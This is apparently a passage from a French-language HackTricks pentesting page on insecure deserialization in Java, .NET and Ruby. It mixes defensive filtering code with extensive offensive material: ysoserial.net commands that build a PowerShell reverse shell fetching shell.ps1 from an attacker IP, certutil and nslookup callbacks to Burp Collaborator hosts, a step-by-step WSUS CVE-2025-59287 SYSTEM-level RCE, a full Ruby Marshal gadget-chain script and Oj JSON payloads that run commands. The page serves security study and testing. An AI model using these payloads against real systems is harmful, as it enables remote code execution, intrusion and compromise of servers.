// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement offre une solution de secours lorsque la modification du code n’est pas possible. Cette méthode s’applique principalement au blacklisting des classes malveillantes, en utilisant un paramètre JVM :
-javaagent:name-of-agent.jar
Il fournit un moyen de sécuriser la désérialisation de façon dynamique, idéal pour les environnements où des modifications immédiates du code sont impraticables.
Consultez un exemple dans rO0 by Contrast Security
Implémentation des filtres de sérialisation: Java 9 a introduit des filtres de sérialisation via l’interface ObjectInputFilter, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d’être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s’applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Exploiter des bibliothèques externes pour améliorer la sécurité: Des bibliothèques telles que NotSoSerial, jdeserialize, et Kryo offrent des fonctionnalités avancées pour contrôler et surveiller la deserialization Java. Ces bibliothèques peuvent fournir des couches additionnelles de sécurité, telles que le whitelisting ou le blacklisting des classes, l’analyse des objets serialized avant la deserialization, et l’implémentation de stratégies de serialization personnalisées.
- NotSoSerial intercepte les processus de deserialization pour empêcher l’exécution de code non fiable.
- jdeserialize permet l’analyse des objets Java serialized sans les deserialiser, aidant à identifier du contenu potentiellement malveillant.
- Kryo est un framework de serialization alternatif qui met l’accent sur la vitesse et l’efficacité, offrant des stratégies de serialization configurables pouvant renforcer la sécurité.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API est une API Java orientée message pour l’envoi de messages entre deux clients ou plus. C’est une implémentation pour gérer le problème producteur–consommateur. JMS fait partie de la Java Platform, Enterprise Edition (Java EE), et a été définie par une spécification développée chez Sun Microsystems, mais qui est depuis guidée par le Java Community Process. C’est une norme de messagerie qui permet aux composants d’application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet la communication entre différents composants d’une application distribuée de manière faiblement couplée, fiable et asynchrone. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
Donc, fondamentalement il existe un grand nombre de services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (généralement il vous faudra des identifiants valides) vous pourriez être capable d’envoyer des objets serialized malveillants qui seront deserialized par le consumer/subscriber.
Cela signifie que dans cette exploitation tous les clients qui vont utiliser ce message seront infectés.
Vous devez garder en tête que même si un service est vulnérable (parce qu’il deserializes insecurement une entrée utilisateur) vous devez quand même trouver des gadgets valides pour exploiter la vulnérabilité.
L’outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets serialized malveillants en utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l’un des gadgets utilisés est présent dans l’application vulnérable.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Dans le contexte de .Net, les exploits de deserialization opèrent de manière analogue à ceux trouvés en Java, où des gadgets sont exploités pour exécuter du code spécifique pendant la deserialization d’un objet.
Fingerprint
WhiteBox
Le code source doit être inspecté pour les occurrences de :
TypeNameHandlingJavaScriptTypeResolver
L’attention doit porter sur les serializers qui permettent que le type soit déterminé par une variable sous le contrôle de l’utilisateur.
BlackBox
La recherche doit cibler la chaîne encodée en Base64 AAEAAAD///// ou tout motif similaire qui pourrait subir une deserialization côté serveur, donnant le contrôle sur le type à deserialiser. Cela peut inclure, mais sans s’y limiter, des structures JSON ou XML contenant TypeObject ou $type.
ysoserial.net
Dans ce cas vous pouvez utiliser l’outil ysoserial.net afin de créer les exploits de deserialization. Une fois le dépôt git téléchargé vous devez compiler l’outil, par exemple avec Visual Studio.
If you want to learn about how does ysoserial.net creates it’s exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.
--gadgetutilisé pour indiquer le gadget à abuser (indiquer la classe/fonction qui sera exploitée pendant la deserialization pour exécuter des commandes).--formatterutilisé pour indiquer la méthode pour serializer l’exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour deserialiser le payload et utiliser la même pour le serializer)--outpututilisé pour indiquer si vous voulez l’exploit en raw ou encodé en base64. Notez que ysoserial.net va encoder le payload en UTF-16LE (encodage utilisé par défaut sous Windows), donc si vous obtenez le raw et que vous l’encodez depuis une console linux vous pourriez rencontrer des problèmes de compatibilité d’encodage qui empêcheront l’exploit de fonctionner correctement (dans la machine HTB JSON le payload a fonctionné en UTF-16LE et en ASCII mais ça ne garantit pas que ce sera toujours le cas).--pluginysoserial.net supporte des plugins pour créer des exploits pour des frameworks spécifiques comme ViewState
More ysoserial.net parameters
--minifyfournira un payload plus petit (si possible)--raf -f Json.Net -c "anything"Cela indiquera tous les gadgets pouvant être utilisés avec un formatter fourni (Json.Netdans ce cas)--sf xmlvous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formatters contenant “xml” (insensible à la casse)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net dispose également d’un paramètre très intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramètre ysoserial.net va essayer l’exploit localement, ce qui vous permet de tester si votre payload fonctionnera correctement.
Ce paramètre est utile car si vous examinez le code vous trouverez des blocs de code comme celui-ci (tiré de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Cela signifie que, pour tester l’exploit, le code appellera serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Dans le code précédent est vulnerable to the exploit created. Donc si vous trouvez quelque chose de similaire dans une application .Net cela signifie probablement que cette application est vulnérable aussi.
Par conséquent le paramètre --test nous permet de comprendre quels morceaux de code sont vulnérables à l’exploit de desrialization que ysoserial.net peut créer.
ViewState
Consultez ce POST sur comment essayer d’exploiter le paramètre __ViewState de .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, lisez ce post pour savoir comment exécuter du code.
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Endpoints affectés :
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie déchiffré puis deserialized avec BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch et opérations SOAP associées qui atteignent des SoapFormatter sinks ; le gadget base64 est traité lorsque la console WSUS ingère l’événement.- Cause racine : des octets contrôlés par l’attaquant atteignent des formatters .NET legacy (BinaryFormatter/SoapFormatter) sans allow‑lists/binders stricts, donc les chaînes de gadget s’exécutent en tant que compte de service WSUS (souvent SYSTEM).
Exploitation minimale (Reporting path):
- Générer un gadget .NET avec ysoserial.net (BinaryFormatter ou SoapFormatter) et sortir en base64, par exemple:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Créez un SOAP pour
ReportEventBatchen intégrant le gadget base64 et envoyez-le en POST à/ReportingWebService.asmx. - Lorsqu’un administrateur ouvre la console WSUS, l’événement est désérialisé et le gadget se déclenche (RCE en tant que SYSTEM).
AuthorizationCookie / GetCookie()
- Un AuthorizationCookie forgé peut être accepté, déchiffré et passé à un BinaryFormatter sink, permettant un RCE pré‑auth si accessible.
Paramètres du PoC public (tecxx/CVE-2025-59287-WSUS) :
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Prévention
To mitigate the risks associated with deserialization in .Net:
- Avoid allowing data streams to define their object types. Utilize
DataContractSerializerorXmlSerializerwhen possible. - For
JSON.Net, setTypeNameHandlingtoNone:TypeNameHandling = TypeNameHandling.None - Avoid using
JavaScriptSerializerwith aJavaScriptTypeResolver. - Limit the types that can be deserialized, understanding the inherent risks with .Net types, such as
System.IO.FileInfo, which can modify server files’ properties, potentially leading to denial of service attacks. - Be cautious with types having risky properties, like
System.ComponentModel.DataAnnotations.ValidationExceptionwith itsValueproperty, which can be exploited. - Securely control type instantiation to prevent attackers from influencing the deserialization process, rendering even
DataContractSerializerorXmlSerializervulnerable. - Implement white list controls using a custom
SerializationBinderforBinaryFormatterandJSON.Net. - Stay informed about known insecure deserialization gadgets within .Net and ensure deserializers do not instantiate such types.
- Isolate potentially risky code from code with internet access to avoid exposing known gadgets, such as
System.Windows.Data.ObjectDataProviderin WPF applications, to untrusted data sources.
Références
- Article sur la désérialisation JSON Java et .Net paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, présentation: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby, serialization is facilitated by two methods within the marshal library. The first method, known as dump, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, load, is employed to revert a byte stream back into an object, a process known as deserialization.
For securing serialized objects, Ruby employs HMAC (Hash-Based Message Authentication Code), ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Autre chaîne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Méthode Ruby .send()
Comme expliqué dans ce rapport de vulnérabilité, si une entrée utilisateur non assainie atteint la méthode .send() d’un objet ruby, cette méthode permet de invoquer n’importe quelle autre méthode de l’objet avec n’importe quels paramètres.
Par exemple, appeler eval puis du code ruby en tant que second paramètre permettra d’exécuter du code arbitraire :
<Object>.send('eval', '<user input with Ruby code>') == RCE
De plus, si un seul paramètre de .send() est contrôlé par un attaquant, comme mentionné dans le rapport précédent, il est possible d’appeler n’importe quelle méthode de l’objet qui n’a pas besoin d’arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d’énumérer toutes les méthodes de l’objet afin de trouver des méthodes intéressantes qui répondent à ces exigences.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Pollution de classe Ruby
Découvrez comment il est possible de polluer une classe Ruby et l’exploiter ici.
Pollution _json en Ruby
Lorsqu’on envoie dans le corps de la requête certaines valeurs non hashables, comme un array, elles seront ajoutées sous une nouvelle clé nommée _json. Cependant, un attaquant peut aussi définir dans le corps une valeur appelée _json avec les valeurs arbitraires qu’il souhaite. Ainsi, si le backend par exemple vérifie la validité d’un paramètre mais utilise ensuite le paramètre _json pour effectuer une action, un contournement d’autorisation pourrait se produire.
Pour plus d’informations, consultez la page Ruby _json pollution.
Autres bibliothèques
Cette technique a été extraite de cet article de blog.
Il existe d’autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et donc pouvoir être abusées pour obtenir une RCE lors d’une désérialisation non sécurisée. Le tableau suivant présente certaines de ces bibliothèques et la méthode appelée de la classe chargée lorsqu’elle est désérialisée (la fonction à abuser pour obtenir une RCE, essentiellement) :
| Bibliothèque | Données d'entrée | Méthode déclenchée dans la classe |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([voir notes concernant json_create à la fin](#table-vulnerable-sinks)) |
Exemple basique:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Dans le cas d’une tentative d’abuser Oj, il a été possible de trouver une gadget class qui, dans sa fonction hash, appellera to_s, qui appellera spec, qui appellera fetch_path, et il était possible de faire en sorte que fetch_path récupère une URL aléatoire, offrant un excellent détecteur de ce type d’unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
De plus, il a été constaté qu’avec la technique précédente un dossier est également créé dans le système, ce qui est nécessaire pour abuser d’un autre gadget afin de transformer ceci en une RCE complète avec quelque chose comme :
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Pas vraiment une desearilization vuln, mais une astuce intéressante pour abuser du bootstrap caching afin d’obtenir un RCE à partir d’une application rails grâce à un arbitrary file write (trouvez le original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identifier la vulnérabilité et l’environnement
La fonctionnalité d’upload de fichiers de l’app Rails permet à un attaquant d’écrire des fichiers de manière arbitraire. Même si l’app tourne avec des restrictions (seuls certains répertoires comme tmp sont modifiables à cause de l’utilisateur non-root de Docker), cela permet néanmoins d’écrire dans le répertoire de cache de Bootsnap (typiquement sous tmp/cache/bootsnap).
- Comprendre le mécanisme de cache de Bootsnap
Bootsnap accélère le démarrage de Rails en mettant en cache le code Ruby compilé, ainsi que les fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un en‑tête de cache (avec des champs like Ruby version, file size, mtime, compile options, etc.) suivi du code compilé. Cet en‑tête sert à valider le cache lors du démarrage de l’app.
- Récupérer les métadonnées du fichier
L’attaquant choisit d’abord un fichier cible susceptible d’être chargé au démarrage de Rails (par exemple set.rb de la standard library de Ruby). En exécutant du code Ruby dans le conteneur, il extrait des métadonnées critiques (comme RUBY_VERSION, RUBY_REVISION, size, mtime et compile_option). Ces données sont essentielles pour fabriquer une cache key valide.
- Calculer le chemin du fichier de cache
En reproduisant le mécanisme de hachage FNV-1a 64-bit de Bootsnap, on détermine le chemin correct du fichier de cache. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s’attend à le trouver (par ex. sous tmp/cache/bootsnap/compile-cache-iseq/).
- Construire le fichier de cache malveillant
L’attaquant prépare un payload qui :
- Exécute des commandes arbitraires (par exemple, exécuter id pour afficher les infos du processus).
- Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
- Recharge le fichier original (par ex. set.rb) pour éviter de faire planter l’application.
Ce payload est compilé en code Ruby binaire et concaténé avec un en‑tête de cache soigneusement construit (en utilisant les métadonnées précédemment collectées et le numéro de version correct de Bootsnap).
- Écraser et déclencher l’exécution
En utilisant l’arbitrary file write, l’attaquant écrit le fichier de cache conçu à l’emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, surveillé par Puma). Lors du redémarrage, lorsque Rails require le fichier ciblé, le fichier de cache malveillant est chargé, entraînant une exécution de code à distance (RCE).
Ruby Marshal exploitation in practice (updated)
Considérez tout chemin où des octets non fiables atteignent Marshal.load/marshal_load comme un RCE sink. Marshal reconstruit des graphes d’objets arbitraires et déclenche des callbacks de librairies/gems lors de la matérialisation.
- Chemin de code Rails minimal vulnérable:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Classes de gadgets couramment rencontrées dans des chaînes réelles :
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Marqueur d’effet secondaire typique intégré dans les payloads (exécuté lors de l’unmarshal) :
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Les stores de cache et de session de Rails utilisant historiquement Marshal
- Les backends de jobs en arrière-plan et les stores d’objets basés sur des fichiers
- Toute persistance personnalisée ou transport de blobs binaires d’objets
Industrialized gadget discovery:
- Faire grep sur les constructeurs,
hash,_load,init_with, ou les méthodes à effets de bord invoquées lors de l’unmarshal - Utiliser les requêtes de Ruby unsafe deserialization de CodeQL pour tracer sources → sinks et mettre en évidence des gadgets
- Valider avec des PoC publics multi-format (JSON/XML/YAML/Marshal)
Références
- Trail of Bits – Marshal madness : Un bref historique des exploits de désérialisation Ruby : https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Chaîne de gadgets de désérialisation Universal RCE pour Ruby 2.x : https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Chaîne Marshal Rails 3/4 : https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 désérialisation non sécurisée) : https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via la désérialisation non sécurisée d’Active Storage de Ruby on Rails : https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Découverte de chaînes de gadgets dans Rubyland : https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (aide pour les requêtes) : https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – Dépôt de PoC : https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – gadget Ruby 3.4 : https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Chaîne universelle Ruby 3.4 : https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape : https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Sortie Ruby 3.4.0-rc1 : https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- PR de correction Ruby #12444 : https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Audit de RubyGems.org (constats Marshal) : https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035 : https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS désérialisation non sécurisée (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


